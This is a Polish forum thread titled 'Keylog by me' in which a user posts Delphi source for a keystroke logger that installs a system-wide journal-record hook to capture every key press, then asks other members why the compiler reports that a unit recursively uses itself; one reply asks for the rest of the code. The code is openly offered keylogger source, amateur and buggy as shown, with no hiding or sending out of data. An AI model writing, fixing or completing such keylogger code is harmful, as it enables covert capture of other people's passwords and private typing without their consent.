Keylog by me

Amestos22

Użytkownik
Dołączył
Sierpień 22, 2010
Posty
2
Mam taki problem
Napisałem w delphi coś takiego :
Kod:
unit Unit7;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm2 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form3: TForm2;

  MainHook : HHOOK;


 function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

implementation

uses unit1, unit7;

{$R *.dfm}

function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

var

  Buffer: TEventMsg;

begin

  result := 0;

  Buffer := PEventMsg(lParam)^;

 if Buffer.message = wm_KeyDown then

   Form2.Memo2.Text := Form2.Memo2.Text + chr(Buffer.paraml); //
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
  MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
end;

procedure TForm2.FormDestroy(Sender: TObject);
begin
  UnhookWindowsHookEx(MainHook);
end;

end.

I wyświetla , na czerwono

uses unit1, unit7;

[Fatal Error] Unit7.pas(30): Program or unit 'Unit7' recursively uses itself

pomocy :(
 

Legalnl

Użytkownik
Dołączył
Październik 8, 2008
Posty
828
Może byś pokazał resztę kodu?
 

Legalnl

Użytkownik
Dołączył
Październik 8, 2008
Posty
828
Unit7 to projekt, gdzie jest kod przecież....

niech pokaże kod projektu i unit1
 

Amestos22

Użytkownik
Dołączył
Sierpień 22, 2010
Posty
2
hmm nie wiem o co chodzi z tym kodem projektu czy coś

mam unit 1 :

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

end.

unit 7 :

unit Unit7;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus;

type
TForm2 = class(TForm)
MainMenu1: TMainMenu;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var

Form3: TForm2;

MainHook : HHOOK;


function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

implementation

uses Unit1;

{$R *.dfm}

function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

var

Buffer: TEventMsg;

begin

result := 0;

Buffer := PEventMsg(lParam)^;

if Buffer.message = wm_KeyDown then

Form2.Memo2.Text := Form2.Memo2.Text + chr(Buffer.paraml); //
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
end;

procedure TForm2.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;

end.
 
Do góry Bottom